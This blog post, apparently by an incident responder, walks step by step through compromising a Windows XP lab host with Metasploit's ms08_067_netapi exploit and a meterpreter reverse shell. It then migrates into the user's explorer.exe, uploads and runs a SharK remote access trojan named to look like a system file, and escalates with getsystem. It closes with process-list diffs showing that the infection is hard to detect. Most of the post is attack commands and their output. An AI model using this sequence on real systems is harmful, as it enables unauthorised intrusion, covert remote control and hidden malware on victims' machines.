I’m playing around with a RAT showdown for a project I’m working on (teaser: It will be a comparison of SharK 3.1, Poison Ivy 2.3.2, and the GPL version of Immunity Inc’s Hydrogen).
While doing this, it really hit home how tough it is to tell a host has been owned if it’s being done right.
I know this anyway, having been on the incident response side of things for a number of years, so it’s not news really. It’s just that every now and then something springs back up from memory and smacks you clear across the face and screams “Oh Yeah!” in a Randy “Macho Man” Savage impression. This was one of those moments for me.
Let me give an example. I’ll do that, by combining it with a “how to use the metasploit framework to upload binaries” overview first.
So, step 1 is: get MSF3, and run the msfconsole. I’m going to skip that step here, and jump straight to setting the payload we want (meterpreter), and exploiting.
First, set the payload:
msf > setg payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp
Now pick everyone’s favorite exploit: ms08_067_netapi
msf > use exploit/windows/smb/ms08_067_netapi
Let’s take a look at the options:
msf exploit(ms08_067_netapi) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique: seh, thread, process LHOST 10.0.1.51 yes The local address LPORT 4444 yes The local port Exploit target: Id Name -- ---- 0 Automatic Targeting
Some of these were set for me via my msfconsole.rc file (specifically, the LHOST setting for the payload.)
Now I pick the target I’ll be exploiting, and set it with the RHOST option:
msf exploit(ms08_067_netapi) > set RHOST 10.0.1.71 RHOST => 10.0.1.71
Once that’s all set, I can exploit the host:
msf exploit(ms08_067_netapi) > exploit [*] Started reverse handler on 10.0.1.51:4444 [*] Automatically detecting the target... [*] Fingerprint: Windows XP Service Pack 2 - lang:English [*] Selected Target: Windows XP SP2 English (NX) [*] Triggering the vulnerability... [*] Sending stage (748032 bytes) [*] Meterpreter session 1 opened (10.0.1.51:4444 -> 10.0.1.71:1082)
BAM! I have a meterpreter session (ms08_067 isn’t called ‘old faithful’ for nothing.)
OK. Pentest done. Next B0x!
Unfortunately, that’s too often the case. This is sad really, because there’s so much more I can do with this. Like the following 😉
Let me start by finding out some information about the session, what privs I have on the host, and what process I’m running under:
meterpreter > getuid Server username: NT AUTHORITYSYSTEM meterpreter > getpid Current pid: 1108 meterpreter > ps Process list ============ PID Name Arch Session User Path --- ---- ---- ------- ---- ---- 0 [System Process] 4 System x86 0 NT AUTHORITYSYSTEM 632 smss.exe x86 0 NT AUTHORITYSYSTEM SystemRootSystem32smss.exe 680 csrss.exe x86 0 NT AUTHORITYSYSTEM ??C:WINDOWSsystem32csrss.exe 704 winlogon.exe x86 0 NT AUTHORITYSYSTEM ??C:WINDOWSsystem32winlogon.exe 748 services.exe x86 0 NT AUTHORITYSYSTEM C:WINDOWSsystem32services.exe 764 lsass.exe x86 0 NT AUTHORITYSYSTEM C:WINDOWSsystem32lsass.exe 940 svchost.exe x86 0 NT AUTHORITYSYSTEM C:WINDOWSsystem32svchost.exe 988 svchost.exe x86 0 NT AUTHORITYNETWORK SERVICE C:WINDOWSsystem32svchost.exe 1108 svchost.exe x86 0 NT AUTHORITYSYSTEM C:WINDOWSSystem32svchost.exe 1184 svchost.exe x86 0 NT AUTHORITYNETWORK SERVICE C:WINDOWSsystem32svchost.exe 1280 svchost.exe x86 0 NT AUTHORITYLOCAL SERVICE C:WINDOWSsystem32svchost.exe 1448 spoolsv.exe x86 0 NT AUTHORITYSYSTEM C:WINDOWSsystem32spoolsv.exe 1704 explorer.exe x86 0 VIKTIM2viktim C:WINDOWSExplorer.EXE 1860 msdtc.exe x86 0 NT AUTHORITYNETWORK SERVICE C:WINDOWSsystem32msdtc.exe 352 mqsvc.exe x86 0 NT AUTHORITYSYSTEM C:WINDOWSsystem32mqsvc.exe 832 mqtgsvc.exe x86 0 NT AUTHORITYSYSTEM C:WINDOWSsystem32mqtgsvc.exe 768 alg.exe x86 0 NT AUTHORITYLOCAL SERVICE C:WINDOWSSystem32alg.exe 4032 sqlservr.exe x86 0 NT AUTHORITYNETWORK SERVICE c:Program FilesMicrosoft SQL ServerMSSQL.1MSSQLBinnsqlservr.exe 4052 inetinfo.exe x86 0 NT AUTHORITYSYSTEM C:WINDOWSsystem32inetsrvinetinfo.exe 4044 dllhost.exe x86 0 VIKTIM2IWAM_VIKTIM2 C:WINDOWSsystem32dllhost.exe 3692 dllhost.exe x86 0 NT AUTHORITYSYSTEM C:WINDOWSsystem32dllhost.exe 3896 IEXPLORE.EXE x86 0 NT AUTHORITYSYSTEM C:Program FilesInternet ExplorerIEXPLORE.EXE
Pretty cool. As expected, I’m running as the local system, and have attached to the svchost.exe process (pid# 1108).
If I look at the current working directory for the session, I see it’s the Windows system32 directory:
meterpreter > pwd C:WINDOWSsystem32
That’s all very cool, but for this example, I want to interact with a user session.
Looking at the process list, I see that there’s a ‘viktim’ user logged in and that user is running explorer.exe in process 1704.
I’m going to try to switch to that process, using the handy migrate function provided by metasploit:
meterpreter > migrate 1704 [*] Migrating to 1704... [*] Migration completed successfully. meterpreter > getuid Server username: VIKTIM2viktim
Excellent. I’ve now switched to a process running in the context of my target user.
Let me take a look at what my current directory is now:
meterpreter > pwd C:Documents and Settingsviktim
What I want to do now is to upload my malware to the host.
In this case, I’ll be uploading a remote access trojan I built using sharK.
I’ve named the executable msdce32.exe in a sad attempt to be sneaky 😉
To upload the file to the victim host, I use the upload function in meterpreter:
meterpreter > upload msdce32.exe [*] uploading : msdce32.exe -> msdce32.exe [*] uploaded : msdce32.exe -> msdce32.exe
Looks like the file upload was successful, so I try running it using the execute command.
This command takes a -f parameter with the filename to execute:
meterpreter > execute -f msdce32.exe Process 292 created.
Very nice. Looking at my sharK console, I see that the process worked, because my victim has now connected to my SIN and I am able to use sharK to interact with it. (That will be a different post entirely, but here’s a screenshot of what it looks like. Note that the XP Desktop in the image below is actually a screen capture of the victim host that sharK provides when you mouseover the connection in the SIN):
Since I’m done exploiting my victim user, let me return back to the host and go back to a system process using the getsystem method in meterpreter:
meterpreter > getsystem ...got system (via technique 1).
Since I’m back at system, let me see if I can see my trojan running:
meterpreter > ps Process list ============ PID Name Arch Session User Path --- ---- ---- ------- ---- ---- 0 [System Process] 4 System x86 0 NT AUTHORITYSYSTEM 632 smss.exe x86 0 NT AUTHORITYSYSTEM SystemRootSystem32smss.exe 680 csrss.exe x86 0 NT AUTHORITYSYSTEM ??C:WINDOWSsystem32csrss.exe 704 winlogon.exe x86 0 NT AUTHORITYSYSTEM ??C:WINDOWSsystem32winlogon.exe 748 services.exe x86 0 NT AUTHORITYSYSTEM C:WINDOWSsystem32services.exe 764 lsass.exe x86 0 NT AUTHORITYSYSTEM C:WINDOWSsystem32lsass.exe 940 svchost.exe x86 0 NT AUTHORITYSYSTEM C:WINDOWSsystem32svchost.exe 988 svchost.exe x86 0 NT AUTHORITYNETWORK SERVICE C:WINDOWSsystem32svchost.exe 1108 svchost.exe x86 0 NT AUTHORITYSYSTEM C:WINDOWSSystem32svchost.exe 1184 svchost.exe x86 0 NT AUTHORITYNETWORK SERVICE C:WINDOWSsystem32svchost.exe 1280 svchost.exe x86 0 NT AUTHORITYLOCAL SERVICE C:WINDOWSsystem32svchost.exe 1448 spoolsv.exe x86 0 NT AUTHORITYSYSTEM C:WINDOWSsystem32spoolsv.exe 1704 explorer.exe x86 0 VIKTIM2viktim C:WINDOWSExplorer.EXE 1860 msdtc.exe x86 0 NT AUTHORITYNETWORK SERVICE C:WINDOWSsystem32msdtc.exe 352 mqsvc.exe x86 0 NT AUTHORITYSYSTEM C:WINDOWSsystem32mqsvc.exe 832 mqtgsvc.exe x86 0 NT AUTHORITYSYSTEM C:WINDOWSsystem32mqtgsvc.exe 768 alg.exe x86 0 NT AUTHORITYLOCAL SERVICE C:WINDOWSSystem32alg.exe 4032 sqlservr.exe x86 0 NT AUTHORITYNETWORK SERVICE c:Program FilesMicrosoft SQL ServerMSSQL.1MSSQLBinnsqlservr.exe 4052 inetinfo.exe x86 0 NT AUTHORITYSYSTEM C:WINDOWSsystem32inetsrvinetinfo.exe 4044 dllhost.exe x86 0 NT AUTHORITYSYSTEM C:WINDOWSsystem32dllhost.exe 3692 dllhost.exe x86 0 NT AUTHORITYSYSTEM C:WINDOWSsystem32dllhost.exe 3896 IEXPLORE.EXE x86 0 NT AUTHORITYSYSTEM C:Program FilesInternet ExplorerIEXPLORE.EXE 2988 IEXPLORE.EXE x86 0 VIKTIM2viktim C:Program FilesInternet ExplorerIEXPLORE.EXE 916 IEXPLORE.EXE x86 0 VIKTIM2viktim C:Program FilesInternet ExplorerIEXPLORE.EXE 3448 IEXPLORE.EXE x86 0 VIKTIM2viktim C:Program FilesInternet Exploreriexplore.exe
Hmm.. Nothing really stands out.
For fun, I killed the server from the sharK SIN, and compare the process table without the RAT running:
meterpreter > ps Process list ============ PID Name Arch Session User Path --- ---- ---- ------- ---- ---- 0 [System Process] 4 System x86 0 NT AUTHORITYSYSTEM 632 smss.exe x86 0 NT AUTHORITYSYSTEM SystemRootSystem32smss.exe 680 csrss.exe x86 0 NT AUTHORITYSYSTEM ??C:WINDOWSsystem32csrss.exe 704 winlogon.exe x86 0 NT AUTHORITYSYSTEM ??C:WINDOWSsystem32winlogon.exe 748 services.exe x86 0 NT AUTHORITYSYSTEM C:WINDOWSsystem32services.exe 764 lsass.exe x86 0 NT AUTHORITYSYSTEM C:WINDOWSsystem32lsass.exe 940 svchost.exe x86 0 NT AUTHORITYSYSTEM C:WINDOWSsystem32svchost.exe 988 svchost.exe x86 0 NT AUTHORITYNETWORK SERVICE C:WINDOWSsystem32svchost.exe 1108 svchost.exe x86 0 NT AUTHORITYSYSTEM C:WINDOWSSystem32svchost.exe 1184 svchost.exe x86 0 NT AUTHORITYNETWORK SERVICE C:WINDOWSsystem32svchost.exe 1280 svchost.exe x86 0 NT AUTHORITYLOCAL SERVICE C:WINDOWSsystem32svchost.exe 1448 spoolsv.exe x86 0 NT AUTHORITYSYSTEM C:WINDOWSsystem32spoolsv.exe 1704 explorer.exe x86 0 VIKTIM2viktim C:WINDOWSExplorer.EXE 1860 msdtc.exe x86 0 NT AUTHORITYNETWORK SERVICE C:WINDOWSsystem32msdtc.exe 352 mqsvc.exe x86 0 NT AUTHORITYSYSTEM C:WINDOWSsystem32mqsvc.exe 832 mqtgsvc.exe x86 0 NT AUTHORITYSYSTEM C:WINDOWSsystem32mqtgsvc.exe 768 alg.exe x86 0 NT AUTHORITYLOCAL SERVICE C:WINDOWSSystem32alg.exe 4032 sqlservr.exe x86 0 NT AUTHORITYNETWORK SERVICE c:Program FilesMicrosoft SQL ServerMSSQL.1MSSQLBinnsqlservr.exe 4052 inetinfo.exe x86 0 NT AUTHORITYSYSTEM C:WINDOWSsystem32inetsrvinetinfo.exe 4044 dllhost.exe x86 0 NT AUTHORITYSYSTEM C:WINDOWSsystem32dllhost.exe 3692 dllhost.exe x86 0 NT AUTHORITYSYSTEM C:WINDOWSsystem32dllhost.exe 3896 IEXPLORE.EXE x86 0 NT AUTHORITYSYSTEM C:Program FilesInternet ExplorerIEXPLORE.EXE 2988 IEXPLORE.EXE x86 0 VIKTIM2viktim C:Program FilesInternet ExplorerIEXPLORE.EXE 3364 IEXPLORE.EXE x86 0 VIKTIM2viktim C:Program FilesInternet Exploreriexplore.exe
If you can’t see a difference between the ‘infected’ and ‘not infected’ states, it’s because there’s not much of one.
Here’s the output from running the ‘diff’ command on the process tables:
$ diff running notrunning 32,33c32 < 916 IEXPLORE.EXE x86 0 VIKTIM2viktim C:Program FilesInternet ExplorerIEXPLORE.EXE < 3448 IEXPLORE.EXE x86 0 VIKTIM2viktim C:Program FilesInternet Exploreriexplore.exe --- > 3364 IEXPLORE.EXE x86 0 VIKTIM2viktim C:Program FilesInternet Exploreriexplore.exe
As you can see, it’s pretty tough to tell that this host is compromised just based on that.
You could see that it was compromised in the network traffic perhaps, as the RAT communicates with its control center. However, if a standard port was being used for the comms (say, TCP/80 for example) it could be difficult to tell even then without looking at the actual packets to examine the data.
Like I said, this wasn’t really something I just figured out, it was just a very nice, clearly defined example of it.